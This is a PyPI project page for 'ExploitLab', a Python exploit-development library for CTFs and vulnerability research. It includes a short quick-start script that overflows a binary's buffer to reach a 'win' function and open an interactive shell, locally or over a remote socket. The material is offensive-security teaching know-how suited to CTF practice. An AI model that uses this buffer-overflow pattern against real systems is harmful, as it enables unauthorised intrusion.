A modern, lightweight, and robust exploit development library.
Project description
ExploitLab 🧪
A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.
Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.
🚀 Features
- Tubes (
Process,Remote) — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking.interactive()shells. - ELF Analysis — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using
pyelftools. - Assembly & Shellcoding — On-the-fly assembly compilation using
keystone-engineand ready-to-use shellcode templates. - Memory Packing — Robust
p32,p64,u32,u64conversions. - Pattern Generation — De Bruijn cyclic pattern generators (
cyclic,cyclic_find) to instantly find buffer overflow offsets. - Context Management — Global architecture (
amd64,i386) and colored logging configuration.
📦 Installation
pip install exploitlab
🛠️ Quick Start
Here is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:
from exploitlab import *
# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'
# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")
# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')
# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win']) # Convert address to bytes
# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)
# 6. Enjoy your shell
p.interactive()
📚 Official Documentation
Looking for the complete API reference, exception handling, and detailed examples? We’ve got you covered.
The complete and official ExploitLab Documentation is available as a comprehensive PDF file.
ExploitLab Documentation (PDF)
Happy Hacking! 🧪
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file exploitlab-0.2.1.tar.gz.
File metadata
- Download URL: exploitlab-0.2.1.tar.gz
- Upload date:
- Size: 39.5 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
e5812dfeb82ff6b183a1ddbfe8d2d7817c11ada539b354d532578ffacc750aa8
|
|
| MD5 |
f03e7d029330ef95d9ae54264bee02ef
|
|
| BLAKE2b-256 |
e3315c3f4a8e62acc26b0ea944e4e5bc2cd8a080be79a337996cf0f26fd0a7c2
|
File details
Details for the file exploitlab-0.2.1-py3-none-any.whl.
File metadata
- Download URL: exploitlab-0.2.1-py3-none-any.whl
- Upload date:
- Size: 34.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.13
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
91904dde91c9fe2f045eac126ab9e79fedb126778aa16c9777244d79b67f03f5
|
|
| MD5 |
38dd3cdca68169b175d07b6b8bd71f8a
|
|
| BLAKE2b-256 |
e966fe4c3468583e309775c895c17eae0abb28962b784ac0a72563bbfadd599b
|